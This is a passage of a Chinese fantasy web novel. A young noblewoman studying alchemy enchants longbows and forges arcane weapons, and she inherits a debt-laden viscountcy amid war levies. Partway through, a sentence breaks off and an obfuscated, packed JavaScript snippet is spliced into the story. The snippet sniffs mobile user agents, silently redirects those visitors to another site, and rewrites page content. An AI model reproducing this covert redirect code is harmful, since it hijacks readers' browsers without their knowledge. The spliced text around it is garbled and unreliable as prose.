这些年,战乱的后遗症已经找不大到,人口、商业也超过前一个带有浓重奴隶制残余的分封制联合王国,但在出海口和海上贸易方面,库德与海对岸的另一个老牌大国对上了——在两艘巨舰的对撞下,伤亡的无数小领地自然是被吞并掉。 “十二年前,我们凭借两位魔导师赢了,但最近圣西多帝国新晋,也许是新招揽了一位水系魔导师。”说到这里,克鲁格教授隐晦地看了眼苏茜,他知道这位金小姐的真实出身,对了,苏拉尔女大公之所以有“女大公”称号,就跟这场战役中的风系魔导师实力直接相关。这是很奇怪的事,她一个著名的光明祭司居然有如此强悍的风系奥术实力,或者说她凭借奥术法师身份而非领地公爵长女、才年纪轻轻就迅速升到德姆城光明神殿一等祭司。 苏茜本尊不太清楚这段历史与自己母亲大人有关,但提到出海口、海上贸易,立刻想起来太多太多的战争细节。话说,她也曾经以一己之力搞垮一支海寇呢! 母亲在她放假前就在处理领地事务,听说是与新的“奉献”有关,一直不在庄园里,所以苏茜在学校新年假期里没有来回折腾,只住在德姆城,与长姐相处几天,同时一直在拼命看书、冥想,在改造好的训练场里练习奥术和武技。 新一年开学,她直接申请去实验室旁听。不是每间教授的实验室都能旁听的,普通二年级学生更别想。谁让第二年的炼金课程里,选择武.器制造方向的炼金法师预备只有她一个人。 除了特殊原因,没人会放弃售价高昂的药剂和附魔装备的研发,去做受众太少的武.器。最重要的是,武技课程里也有武.器制造,两者偏重方向不同,但名称一样,甚至武技课里的更有前途,反正听说毕业生从不愁大把金币,做得好的得到非世袭爵位易如反掌,世袭封地爵位也不是不可能。 “金同学,你选择哪个领域?” “还没想好。但目的一致,就是打赢战争。” “啊,你家里有人从军?” “是的。我父亲和哥哥都在军中,我想为他们,以及其他可能要上战场的人装备更多。不过具体能做什么还不是很清楚,所以魔纹和奥术阵是必须认真学好的。” “你知道我们的教授最擅长的是制作防御宝石吧?”超级贵的那种。 “知道,我家人有。”人人都有,还不止一个,包括她本人。也所以克鲁格教授那么好说话,允许二年级生来旁听,毕竟他年纪大得已经很少亲自做东西了,给女大公和将军的女儿卖个好总归对自家的孩子们有好处。 “啊,确实,贵得有道理,命比什么都重要不是吗?”唯二的女生,五年级的学姐以为明白了苏茜的意思,给了个心照不宣的笑容。五年级可以申请毕业,也可以呆满九年再被要求毕业或退学——学院的学制、对学生的要求并不死板——五年级了,必须考虑是回家听命联姻,还是在职业上作出成就而掌握自己的命运。 “对,命最重要。”苏茜也笑。显然对方会错意了,不过她不打算纠正。 修炼、不,冥想,练武、不,战斗训练,上课和完成作业,图书馆读书做笔记,中间零星时间找点吃的、还不能亏了身体营养和所需能量。 要不是营养剂属于魔药范畴,吃多了又贵又不利身体健康,苏茜其实宁愿花点时间自己加工营养剂并且一个月就靠营养剂过活。希望在这个魔法世界里,自己能活得久些,至于战不战死的,到时候再说。 45.神陨的时代(三) 领地贵族们从今年开始要增加战争相关的“义务”,包括义务兵役和武.器装备和后勤资源,不同面积、等级和出产的领地有不同的数量要求,还规定了用更高级的物资抵扣的规则——听说西西丽亚没少参与规则的制定。像布斯德社公爵领地这类有人口、有农牧出产和金属工坊、实力在国内是第一梯队的大贵族,自然要全部做到。苏拉尔女大公就是因此亲自去领地布置。 皇室直管的非贵族领地则是增加了商业税以及职业兵役。职业兵役是有军饷拿的,阵亡也有不算多的抚恤——相对的,贵族领地上的义务兵的收入和抚恤由领主出。士兵家中无长辈抚养的直系子女、孙子女可以由皇室育幼院抚养至成年,育幼院的院长都是皇太后或皇后或大公主来担任——这种制度脱胎于神殿附属寄宿学校。库德帝国是少数有平民女战士直接上战场的国家,后者往往战斗力超过普通男兵。 等布斯德社两年份额的“贡献”齐备,女大公亲自带队送到德姆城,“顺道”看望下快三年没见到的两个女儿。 “你的长弓附魔可以多久?”苏拉尔看着一百五十卡林、超过两百多步外的半空中的“活动靶子”被苏茜一箭射下,忍不住问道。 “差不多一百支箭。之后的效果就逐渐变差,直到消失。”不然不可能轻易命中那么远的运动飞盘。 “用的是普通长弓?” “对,普通的弓箭。” “不是都用魔力宝石的吗?”西西丽亚觉得自己的见识不够广。 “……我目前还不会在魔力宝石中嵌入奥术阵。”最主要的是太贵。只爱囤货不喜奢侈的苏茜本茜本性如此。 “哦,那么这类的附魔便宜多了?” “……对,就是我的一天做一张弓的劳动力加上长弓本身的价格。”自己的劳动力价格有很大弹性哈哈。 “嗯……魔力宝石和大法师才能做的附魔武.器是用魔力宝石计价的,大概能用上万次。”西西丽亚心里在计算。 “我不是大法师,我便宜。”苏茜差点翻个白眼。 “你好好努力,争取能达到使用一千次。”苏拉尔顺了顺小女儿柔软的月色半长发,咦,即使没有侍女伺候也保养得不错呢!“到时我就给你一把弓一颗魔力宝石的辛苦费,听说讲宝石粉碎后也能用,但用量你得自己摸索。”一千次的附魔长弓不算正经附魔武.器,但对士兵足够用了。 “一把一千次附魔的长弓大概能抵二十把弓和三千支箭,”西西丽亚补充,“这需要五名熟练工匠花一年时间制作,而你只要一天。” “……等我达到初级法师再说。”而且还不是普通及格的那种。苏茜无比郁闷地想着,为什么好不容易有和平的人生,却总会遇到坑死人的学习任务?! 母亲就待了半天,吃了两顿饭,打赏了厨师,没住下就匆匆忙忙走了。 长姐西西丽亚也是如此,她用练武场和过来用餐的次数倒是不少。 偌大府邸的主人几乎不住。 苏茜回了自己房间,那个大箱子放在岛上,并装入两枚库德金币——以后每天都存俩——出岛后冥想后洗漱睡觉。这里没有灵气,无法用修士的心法修炼。但岛上两者皆可,就是效果很差。 升到第四学年的时候——学院没有暑假,只有新年一个半月假期,学年也是假期后开始,跟本国偏冷,新年前后经常下雪、夏季并不怎么炎热有关——苏茜才慢慢琢磨如何在岛上增加些保存措施。 奥术阵对元素能量要求太高,岛上根本支撑不了,耗能少、效果差的魔纹倒是可以长期存在,但体积只能是一个可以装下她的箱子,更大的话岛上的元素不够用。因此不怕千年时光的金属和无法长时间保存的食品就剔除在外。苏茜作为战略储存放的全部是金属的武.器、书籍,厚毯子,以及盐、糖、蜂蜜、谷物面粉等应急物资,将一个箱子完全装满。 万一自己碰到意外,也方便下一世的自己应对困境。 至于钱,存储箱那边仍然保持每天放两枚金币的节奏,而且排列极为整齐、至今没有将箱底铺满,不过相信这辈子能零存整取半箱子的金币。库德金币比金元体积略小,但铸造技术不错,图案很精致、边缘的极细齿轮很有技术含量。最有意思的是国家金行按重量和黄金的纯度回收换发旧版的、磨损碎裂的金币,提供年息百分之八的抵押借贷服务,并且每年两次抵押品的拍卖……颇具综合银行的雏形。 “我们这个装置就是提供给国家金行用来分辨掺假金币的。”克鲁格教授指着一个不算太大的零部件,“可以不融化就知道黄金的准确含量。其他珍贵矿物的含量有别的部件,但不包含魔力物质,这需要法师的感应,有些奥术功底强的大剑师也可以做到。” 一小群学生拼命想在有限的时间里搞清楚部件的原理,有的已经明白了,有的只懂一部分——很遗憾苏茜是后者,她的武力值至今还在普通剑士兼轻骑兵等级,但已经正式成为克鲁格教授的直属学生,学院的通用必修课程都是选修课,所以有精力做更多的研究。 但不能指望一个大三学生搞清楚机电专业博士后课题的图纸。 这种装置里的奥术阵比较复杂,但也不是无法理解。将基础吃透后还是能搞清楚原理的,她现在就可以照着做出来,然而如果让她维修甚至创新就不行了,更不要说独立设计什么出来。还有,她的毕业与否由教授说了算。而她希望晚点毕业。 法师等级是帝国与法师协会共同定下规则,虽然有大量自称奥术法师的人,但他们都是没有徽章的冒牌货。没有徽章的法师只有两种,一种是伪劣产品,一种是真正大拿。比如苏拉尔女大公没有去参加什么考核,也不拿徽章,可她即使在生死战场上都可以随手让一堆敌人消失——不了解的人畏惧她的权势地位,了解的人不想亲身体会她的实力。 “金学妹,你等会去聚餐吗?”实验室的学长有礼地问道。 “不了,我要去练习场,为大剑士奋斗。”苏茜指指斗篷下的武士训练服。顺便还要测试自己附魔的长弓的质量水平。至于高价值的奥术武.器,估计还得等些年头才能做出来。 “……”前段时间刚打算追求传闻是大商队主人女儿苏茜的学长立刻打消了这个念头,因为他是个标准的、柔弱的法师,承受不了大剑士的一巴掌。 …… 第六十五箭时,苏茜能感觉到自己的状态在下降,但附魔没有变化。前面六十箭全部是在约四级左右风的下风口,逆风打不到三百卡林的飞快速移动靶子,但是否打中、打中哪里得依靠本身的武技。她休息了一阵,吃几块松饼,喝一杯水,跟同学聊几句,然后回来继续。 半天时间,一百五十箭,命中……六十?就距离和移动目标而言,到达了大剑士的基础弓箭水准,但时间偏长,说明锻炼依旧不足。 收好长弓,换上未开刃大剑,找不太熟的同学练手。 大剑、长弓、长柄马刀,对臂力的要求一个比一个可怕。苏茜在单纯的臂力训练方面很不错,加上修士时代的武技训练,能连续跟两三位四年级武技方向的同学切磋不至于倒地,勉强达到武技方向四年级生的平均水平。 然后上马术。 最后的徒手拳术过后,苏茜全靠晚饭的大量肉类跟意志力才能勉强站着,而非直接躺倒。 “不错,你不来武技班可惜了。” “伊札克老师,我的附魔水平提高了哦!” “对对,你还是学习武.器制造比较好。”武技比她父兄差不少,搞不好都不如母姐。 年纪其实不大、但留了一脸大胡子的武技课伊札克老师接过她的长弓,节奏有规律地又连续“测试”了三百支箭——用时不到一小时,静态靶全部红心。差距让人不想说什么。“你之前只能附魔一百支箭?现在是三百支!” “四百五十支。”苏茜手软脚软。“我打算后天再继续测试。” “放在我这里,我让学生们来测试。”伊札克老师笑眯眯地道。附魔武.器即使在学院里也不是敞开供应的,更不要说战场上。“后天你来的时候告诉你结果。” “好的,谢谢老师!” 最终结果是六百支箭。只能说,不错的制品,但还达不到高级军需品的地步。 可问题就在于:这不是昂贵的魔力宝石附魔制品!成本只有一把工艺不错、价值约三十金币的长弓,以及一个四年级“颇有天赋”的炼金方向准炼金法师和准大剑士一整天的劳动!远远低于一块魔力宝石的价格。 所以苏茜在死磕奥术阵嵌入各种有魔力的物质、甚至就是她自己附魔的东西,然后再尝试嵌入魔力宝石,否则成本会高得让她家母亲大人都皱眉。能让六百支箭达到超远距离的附魔长弓就是这样的产物,一半材料、一半成本。 “各位老师,我是这样想的,一个普通的弓箭手一场战斗一般不会用超过一百支箭,普通魔弓手大概四五百支。七百支箭需要一辆车来装,在这些箭全部用完前,战斗就会结束,或是这位弓箭手在白刃战中阵亡,由同袍代替或武.器被敌人拿走,因此低成本、多数量更加适应小规模战,或是武装一支百人规模的剑士亲卫队。” “你的卫队多少人?”这是不公开的中期成果考核,只有十几人规模,所以问话的教授没了顾忌。 “啊,平时十八人,但不超过六位大剑士。”没必要隐瞒,这个数量不算多。 “那出远门呢?” “三十人。大剑师领队。” “那么装备你的出行卫队也够了。西西丽亚小姐的可能稍微差点。”她父母的不提。 “她平时卫队人数不多。”因为一半是大剑师。 “那么你的附魔长弓其实更适合城卫队、打猎之类。” “城卫队一般用不到长弓,毕竟现在没有兽人和亡灵的威胁,战争中的守城,城卫队根本不行。” “好,作为升高年级的考核,你通过了。但是——” “我知道,我做的东西连我长姐都用不了。”苏茜感受到了森森的寒意。自己学了四年也就做点自用的东西,好没面子! 主考官副院长点头。这位小姐如果不用功,她家除了幼弟,每一个都能收拾她。 事实上家里人并不收拾她,而是利诱! “我听说你附魔的长弓能逆风命中三百卡林外的靶子六百次?” “一,风不大;而,靶子是静止的;三,六百次是中级大剑师一天之内的理想状况。哥,你就是为了这个中年级成果赶路回来?” “苏茜,你这是附魔长弓,不是魔力宝石法器。” “用了一点粉末的,不然做不到。” “可还是便宜啊!”他认定打听过了近百把弓差不多用掉一颗魔力宝石,也就是成本降到五十分之一。嗯,妹妹的劳动力也只值大师的五十分之一。 “我知道!连副院长都说适合我的卫队出门打猎时用。” “苏茜,便宜!那样的法器我都没法给中级大剑师以下的亲卫配备!你也知道,所有骑兵和大剑士都得会弓箭。” “所以呢?”苏茜莫名其妙。 “乖,你有多少这种长弓,都给我,我每二十把弓给你一块魔力宝石。”算很高了哦!应该是五十把一颗的。 “……我只有十把。”这绝对是贱卖!一千发的那种母亲给一把弓一颗宝石的价格!可是,眼下她真的做不到。 “宝贝,都换给我!” 纳瑟斯高兴得差点发出夹子音,听得苏茜头皮发麻,立刻跑去自己的书房,搬下来十把长弓。 一把长弓份量就不轻了,一口气抱十把下楼差点累死她!可恶的纳瑟斯居然不伸手帮忙! “都在这!”她真的不行了,全部轻轻放地上。“宝石!” 纳瑟斯摸了摸妹妹剪短了的头发,“锻炼得不错,居然能一下子搬动十把长弓。” 在苏茜气得要打人之前,纳瑟斯摸出一个不便宜的包装木盒,“里面有四颗魔力宝石,记得再做六十把,两个月后我让亲卫来取。” “四个月。我两天才能做一把,平时还要上课呢!” “好。” “军营里小心点,性命比升职重要。” “……”还没成年的小丫头装什么大人! * * * “小纳苏德长大不少了嘛!” 今年的假期苏茜是回庄园过的。之前小小的只到腿部的软萌小家伙,现在成了猫嫌狗憎的皮小子。 “放我下来!”纳苏德尖叫。怎么家里人个个都会把他拎起来?!连二姐都能将他拎起来不许他调皮。 “知道上一个想在我的马鞍上动手脚的人怎么样了吗?他的两只手和两只脚都被我打断了。”因为是盗匪惯犯,最后判了死刑。“现在,告诉我,谁教你在马鞍和马背间放草藜的?” 于是那个讨好小主人不成反成仁的小厮被苏茜抽了一顿鞭子后赶回家。全程让小弟旁观。 纳苏德吓坏了,哭哭啼啼地去找难得回家的母亲告状,被打的成了他自己。这个家里,完全不存在最小的儿子最受宠这种事。 …… 现实里下小雨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137957|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛上在下大雨,都是暗沉的天空。 苏茜没有撑伞穿防雨斗篷什么的,但一身衣服和头发都是干燥的。保持水系奥术,加上火系的保暖,在冬雨里啥事没有。 这就是奥术。 低级的,但同时长时间保持使用则是中级实力。 母亲可以下雪天一条纱裙、黑暗中如履平地,现在的她根本不可能。 苏茜对此早就习惯了。自己当修士的时候,老师就说过他们学堂当年主持的曾全部是元婴修士,城主自己也还是学生小辈。现在她比修士学堂时更加努力学习,居然碰到同样的“困境”。“无论如何,哪怕现在仍然有战争,起码不需要与恶心的亡灵或是兽人作战了。本来你的外祖父母都以为我会战死在与亡灵的战争,没想到亡灵、兽人和精灵,还有很多其他的族群都不再存在,包括精灵族。”苏拉尔极为难得的与自己的孩子聊到往事。或者说,她只在每个孩子成年的时候说一次。“说实话,我弟弟无法继承爵位让他们不是那么高兴。” 苏茜今年十八周岁,平民的姑娘这个年纪要么已经结婚或订婚,要么干脆不结婚。以前的贵族这个年纪大部分是订婚或未婚状态,而职业者与长生一族不在此列。现在各个阶层虽不是神陨后、立国前那几年乱成一团,但基本上也开始回归正轨。 “……那么,你想要世袭还是非世袭爵位?” “非世袭。”世袭?就像那个“老同学”妮雅为了世袭爵位和财产嫁了个老头,却在今年死于难产? “那继承亲戚的领地爵位呢?”苏拉尔突然问道。 “?”苏茜满脑袋问号。 “前任布斯德社-琼子爵,曾经是效力于前代皇帝的悍将,从六年前开始就以旧伤复发的名义在国都府邸养病并且拒绝缴纳税款和军械后勤‘贡献’。” “实际上呢?” “实际上他想推动私生子与婚生子同等继承地位的法令,被评议会和皇帝一起驳回了。于是他想暗杀自己的妻子和婚生子,结果被我拦截了,还放话,如果他敢用任何手段暗杀任何亲属,我都会将他当着私生子和情妇的面绞死、将爵位退还陛下。” 苏茜忍不住鼓掌。 “不过他确实病了。还用智慧生物来治疗,却治不好白白花了很多钱。” “他用活人治病的话也是犯罪吧?”苏茜忍不住道。 “用的是走私的退化兽人,不算犯罪,就是花钱多,但没效。现在他除了一个领地,个人和家族财产基本上要么治病,要么转移给私生子了。” “?” “评议会新修订的世袭爵位继承法案,如果积欠国家赋税过多、继承人无力承担的,可以转让给有资格的亲属,在缴清赋税后受让世袭爵位,只要额外再交一笔登记税。但是私人债务是约定偿还,不在义务内。”其实理论上那个私生子可以受让,但继承人怎么可能便宜对方?! “母亲,那位婚生子要转让给,我们?”苏茜心里计算一名领地子爵得多少税和贡献。 “是的。光税金就欠了超过十一万金币。另外还有二十名骑兵连同战马、兵器、薪金、抚恤和奖励,加上二十柄合格的武.器,二十名青壮男兵一年的口粮薪水,不过运到国都或直接运去边境的活牲畜或乳制品可以抵十倍重的谷物。”对一个没什么私产的年轻人是天降大锅。 “……您的负担真重。”世袭领地公爵要负担更多吧。 “我的领地没那么多,税金只比他多一倍。” “战争贡献要更多吗?” “我贡献的是大剑士、法师和附魔武.器,数量少。就是培养人才需要花时间。” “母亲,我们领地有骑士学校吗?” “领地和附近城市都有普通骑士学校。布斯德社族内有大剑士和法师高级学校,专门为领地培养人才。我是客座教师。不过我建议你商量替换方案,比如附魔武.器和乳制品。还有,积欠的税金和五年内的税不用担心,我会替你出,不过五年后你得自己养活自己。”扶持成年的非继承人五年以及积欠的巨额费用,不管从哪个角度她都是合格的母亲了。 “明白,母亲。谢谢您!”替拒绝联姻的自己的未来费心。 “早点披上法袍,不要堕了布斯德社的威名就行。” “是!” 母女两人从下午点心的露台下来,无事人一样各做各的事。 苏茜则是突然转了方向,将附魔长弓暂时放在一边,换上衣服,在新年假期里死磕一个月的铸剑工艺。修士时她经验丰富,这次她根据本地的材料、学习的知识、母亲的藏书和自己的理解,在金属里加料,让工匠们协助一起做锻造试验。 在假期结束返校前,她毫无负担地用庄园内的材料做出两个主攻方向。接下来就是不断试错、测试、实用的阶段,急不出来。下一个学年的研究方向有了:奥术加持武.器,普通战士、大剑师、法师都可以用。 克鲁格教授听了这位女学生的研究方向,点点头,“你要开始为家族贡献力量了吗?” “可以这么说。起码不用愁金币、实验室和魔力宝石,以及社会地位。”她现在是公爵和大将军之女,父母都过世后就是普通的也就是有点家世的人了,必须有职业加持才能保证地位。 “你要离开家族的话跟我说一声。”他很看好这个学生的发展方向。 “教授,我母亲还在呢。”苏茜哭笑不得。还有我父亲!您老人家有几条命被他们砍啊?新年里金将军难得回来,第一件事就是将“便宜得不得了”的附魔长弓全部搜刮走,让纳瑟斯差点哭出来。对了,给的价钱还比纳瑟斯低一点点,让苏茜敢怒不敢言!呃,好歹父亲“补上”了十二名新护卫,一水的年轻大剑士,每一个起码比她高一个头!要知道,她现在的身高已经达到了男兵的平均身高,是男兵,不是平民男子!气死了,这摆明要她提供高级武.器供这些人往大剑师的方向去,然后其中任何一位服役两年,母亲就可以四年不需要额外从领地上征召义务兵了……嗯,这些护卫是父母借给她的,不是她的! 义务兵的负担还是颇重的的。布斯德社-琼子爵领地上就有一个骑士学校,专门招收牧民、农民、佃农、平民、仆役的子弟,甚至还有女骑士班,那些出身低微、吃饱饭都很艰难的年轻人就盼着从戎改变命运。 还有,现任布斯德社-琼子爵在缠绵病榻、耗尽家财后终于死了。 奥娜汀-苏茜-苏拉尔之女-布斯德社-金,现在改名为苏茜-苏拉尔-金-布斯德社-琼,领地女子爵,还可以申请恢复国家评议会的席位。 46.神陨的时代(四) 丧服大披肩下是通行的炼金法师专用金色法袍,法袍里是剑士标志性的细链甲长衣、阔腿裤和短靴。苏茜刚刚拿到正儿八经的法师徽章还不到一个月就得请假回来主持前任子爵的丧礼,并且处理继承转让事宜。虽然仅仅是初级炼金系法师,但已经脱离了普通贵族女性范畴,不需要遵守本地长袍长裙和软面中跟鞋的传统服饰——她家的女性现在都是职业者,爱穿什么就穿什么。 “我现在还没有毕业,暂时只有假期才会回来。而且我希望能在炼金学术上有所成就。” “哦,那还是学业为上。”老妇没有继续“劝诫”下去,表情冷淡地走了。 这位过问什么来着?她的婚配问题?笑话!她父母还活着呢,哪轮得到一个远亲伯爵的妈来“指点”。问过女大公的奥术了吗? 送走两百多名有头有脸的宾客和充当司仪的堂兄——神灵还存在的时候都是祭司来主持的,现在彻底没有了——安排完送客和少数留下客人的餐饮问题,苏茜带着随从和父亲母亲“借”的卫队走回布斯德琼府邸。家族墓地就在庄园里,这风俗也挺有意思。 “子爵,这些文件需要您签字。”老管家裴第爵士带着他的长子来送文件,顺便将他的继任者小裴第管家介绍给主人。“小”裴第已经四十多了。 “好的。”苏茜,也就是新任布斯德社-琼女子爵,认认真真但快速地看完了六份怎么都让人不习惯的贵族腔书面文字,一一签字,然后递还给小裴第管家。 新子爵与快八十的老管家友好道别,顺便还递了一份附近商业城市里的店面及地契赠与文件给老裴第管家。这是惯例了,没有犯错的卸任老管家总得给养老金不是。 “子爵,这是今年的军需贡献清单,已经交过了,现在请您过目。不过大公府那边有加注解,今后您可以更换同等价值的军需品。”第一件真正的子爵公务就不是让人愉快的事。 “这个我知道。我会写信给父亲,明年开始用奥术武.器作为军需贡献,我自己承担。”母亲苏拉尔女大公为她支付欠款和未来五年的税金,而父亲则替她解决了积欠的军需贡献和转让税,双亲的大方让她直接成为女子爵。只是接下来起码有一半的任务得靠她自己,确切的说,父母对次女的责任已了。连长姐都在其中掺和了一脚,她一手操作的最新贡献补充兑换规则明显就是为她定的。 “是,子爵。”裴第管家接过女仆送上的托盘,亲自摆好茶壶茶杯后退下。这位年轻女子爵的出身和家庭助力远超前任子爵,并不需要管家的过多建议。 作为以奥术武.器制造为主攻方向的高年级生,苏茜以六天封闭考核时间铸造出来奥术大剑得到了炼金系初级法师资质。那时她因为这个女子爵爵位,推拒了所有武.器制造订单,差点引起不少人的不满,不过等爵位继承的事情一出就没有任何异议了。 下一站是骑士学校,选拔义务参军的骑士。选上了就可以从平民转为骑士阶层,家人也能得益,不仅免去领地税收、还能有不菲的津贴收入。全校一百四十多位正式学员,教官七名,训练三年以上的有三十五人。 苏茜来选人的标准非常简单粗暴:亲自与这三十五人“切磋”,她说行就行。 普通弓箭、普通长弓和附魔长弓。 马上普通长兵器、附魔长兵器。 马下普通佩剑,附魔配剑。 第一项就是看成绩,第二项抽签对阵,第三项的对手是她本人。最后选了二十五人,二十人装备齐全、安家费充足地送去参军,综合实力最强的五人成为子爵府护卫、没有安家费但薪资不低。 她给的安家费和军饷相比所有领地贵族算是高的,而抚恤金则是三十年军饷,没有哪个贵族给得更多。另外,武.器都是她亲自附魔的,用完还有替换——但不是她亲手打造的昂贵的奥术武.器。 这份支出,将苏茜之前“交换”给父母兄姐的附魔武.器所赚的全赔进去了。 确切的说,她现在是一贫如洗,只有子爵领地不到三千金币的农牧商业收入盈余,比她当奥娜汀小姐时的花销还少! 一个月后,苏茜亲自带了花费十二天、差点脱了一层皮所打造的大剑,二十名骑士,每人三匹马,还押送着五车活羊,“浩浩荡荡”前往国都。顺便说一句,正式成为女子爵后,大公府配给她的护卫侍女都收回了——是她主动要求的,因为养不起那么多人…… 前任子爵本来在国都有府邸,但转送给私生子了。因为这个不属于爵位封地上的财产,苏茜无权置喙。所以她来国都只能先去指定的交付点,然后住在旅店里——还不是最豪华的,因为太贵——再去探望长姐。 “你怎么回事?不住在家里,去住二等旅店。”西西丽亚莫名其妙。 “我不能让子爵领的人认为以后什么事情都可以依靠大公府,更不能打着我们家的招牌在外面招摇撞骗。而且我自己已经是法师了,应该能够支撑一个家。”苏茜有法师袍,所以置装费也省了。 “……”妹妹说得太对了,做长姐的竟无言以对。 “评议会的席位我真的分身乏术,我还想成为大剑师兼中级法师呢!”就是目标略远大。 “……你好好努力。你在评议会也做不了什么,不少人还会盯上你的丈夫的位置。” “知道。浪费我的时间就是在折损我的寿命。我不需要男人的拖累,您把这句话传出去吧。” “好。” 姐妹两个,一个是华美宫装,一个是金色法袍,在皇宫外围接待达官贵人的高级茶歇室内对坐喝茶聊天。一般身份的人还真不敢上去招呼。 “两位日安,布斯德女官,布斯德子爵。”一名中年男子笑眯眯地踏入。 “拉格坦斯阁下。”姐妹俩几乎同时招呼。军事副大臣拉格坦斯,非世袭伯爵,已经过世的开国将领拉格坦斯将军的长子哈肯,高级大剑师,打过不少残酷的战争。 社交性寒暄了几句,对方直入主题。 “苏茜法师,我看了您送来的奥术长刀,军部想追加无限期订单,而且可以全额抵扣领地税负和军需贡献,不知道您是否同意。不过,您给父母和兄弟姐妹的不作为订单。”作为军事副大臣和将领,他的姿态算是放得非常低了。自从纯血统矮人消失后,兵部除了极少数能弄到大师级顶尖奥术武.器的老将——他们还不肯给新人,只等着孙子还是曾孙成材——之外,其他并非大贵族出身的军人很难弄到,更不要说战场上用,大家最多能拿到用魔力宝石加持的附魔武.器。 “当然可以!哈肯将军,您知道我的领地虽然面积广大,但都是牧区,人口和收入有限。”她缺人缺钱缺资源,只能靠自己的“劳动力”来维持封地贵族地位。反过来想想,自己想成为职业者,也是为了在这个世界上有个不错的地位身份和收入来源,因此算是殊途同归。 “……” “……” 口头协议谈得不错,以后会有正式文件。 反正那柄长刀被一名新崛起的大剑师悍将夺到了。 金将军则表示:小女儿如果空了的话帮他也做一柄同等规格的奥术佩剑,还提前“支付”了五颗魔力宝石——相比大师的费用,算是压价极为凶狠。所以苏茜下一次干活是为了自家父亲的订单。 炼金系法师的“业务范围”非常广泛,从生活到军事,从教学到实验,但都有共同特征,就是贵。贵就贵在制作时间、成本和魔法师本人的智慧和消耗。 首先就是锻造添加剂,成本高,还花了她两天的时间来制作。 接着就是一层层用魔力宝石提供能量、用宝石粉末制作的魔纹,每一层都是七个奥术阵勾联在一起组成的复合奥术阵。 最后还需要法师自己对铸造的熟练——感谢曾经当过修士的自己,那时从武.器、农具到马桶都是自制。 因此奥术武.器的复杂程度远超附魔,基本全部是定制,连拍卖的都是实验品或是毁约的定制品,不然也不可能一件就能抵半年的税金和军需贡献任务。 十天时间做材料准备,然后苏茜调整了下自己的状态,安排好饮食和助理人手,开始一口气做两件武.器。 一柄大剑,一柄佩剑。 佩剑的工艺复杂得多,因为把手上还有额外的防御奥术阵,加上一颗颜色特别漂亮的金红色魔力宝石,宝石里又加了个一个专注功效的奥术阵。 从子爵邸新改造的实验铸造室出来后,苏茜瘦了一圈,直接拒绝哥哥要她亲自“送货”的要求。她累死了,除了基本的冥想,其他大半时间都是躺着或是坐着——在学会自制药剂之前,她坚决不喝五十金币一份的恢复型营养剂,并且非常小气地往自己安置在岛上山洞里金币箱里继续每天放两枚金币,不过最近加了一颗价值千金的魔力宝石。这里的千金就是字面意思,一千金币,还是普通款,特殊款的价值数万。还有,要不是她六年的专攻,父亲都不一定能找到炼金大师定制同等用心的佩剑,更别想用区区五颗宝石这么可笑的数字打发人。 “真……漂亮!”纳瑟斯原本对奥术大剑爱不释手,但在看到佩剑后眼睛都移不开了。 “明年给你做。今年我太累了。你知道,我就是被领地拖着毕不了业。还有一学年要奋斗。” “你真打算念到毕业?跟小克鲁格说一声就行了。” “说的你好像能跟老克鲁格法师说上话一样。” “那不是,母亲那里打个招呼的事情。” “不想因为这样愚蠢的事情浪费母亲的人情。她和父亲的人情要用在刀刃上。” “要不长姐那使使劲?” “军需兑换的事已经用了。”苏茜摆摆手,“我之前那位子爵,真的是,为了私生子和自己私下购买半兽人来治病,把领地上的牲畜卖掉了三分之二,领地民众快要饿死了,前年和去年逃亡了上千人!”搞得她今年都没有三千的收入。 “……我去收拾那个私生子?” “不需要,我把前领主存的一笔钱给了原来的继承人,让他去想法子处理了。”她博得好名声。“我懒得为这种小事费力气。” “……你可真是……”谁说小妹单纯,他就跟谁拼命! 苏茜没有全说实话,学院那边其实已经不需要去上课了,唯一得花点精力时间的是毕业成果,验收后就能拿毕业证书。 做什么好呢? 她回到岛上赶海钓鱼弄点海鲜吃,顺便找灵感。 然后就这么想到了。 弩,奥术弩。普通人稍微培训一下就能上手。毕竟长弓即使附魔也需要熟手来使用,普通人连弓都拉不开,更不要提准头。 三神臂弩、三弓床弩、微型臂□□她都有,甚至还亲手做过一些关键部件。但那是机械弩,不能当炼金系毕业成果。 而且还要保留一定的技术门槛,或者找到防止仿制的办法。后者她目前肯定做不到,所以还是往前者靠拢些。 * * * “那个疯子苏茜回来了。”一名穿着大剑师分院校服的学生匆匆忙忙跑进食堂,对着身边不少人说道。 “啊,不是听说她退学了。” “我怎么听说她回家继承爵位了。” “是继承爵位后又回来毕业。”隔壁的隔壁一名奥术分院的学生插嘴。“是布斯德家族的子爵爵位,有大片牧场和至少一个镇子领地的那种。” “……吃饭,快吃,回去我看看能不能长租一个练习场地。” “苏茜不会找中级及以下的人对练,你怕啥。” “你忘了我刚到高级。” “……” 沉默传染了好几桌才停下。不过在一个人在食堂快要关门的时候才进来,顿时又引来关注。 那个疯子回来了,而且一身气势似乎更加不好惹,不知道接下来又有多少人遭殃。倒是后来又进来的几名高级班学生很有兴致地看了她好几眼:这位不会是继承爵位的时候出了问题,现在心情不好想找别人的茬? 苏茜压根不在乎别人如何看待自己。她当法师是为了谋生,当大剑师是为了生存!不然简直连觉都睡不着:四体不勤的魔法师是什么东西?绝对不应该存在在她身上。所以她是唯一一个坚定拒绝转系的高级大剑士。 “苏茜,毕业考的题目你登记好了吗?”年级助理过来询问。 “我现在可以去登记吗?” “可以。”有正式师承的可以免修很多课程。 “谢谢。” “不客气。” 对于学习,苏茜还是很认真的。 “丸药?”克鲁格教授有些疑惑。 “是的。比药剂容易保存。而且得是低成本的那种。” “我很奇怪你居然转向药剂了。” 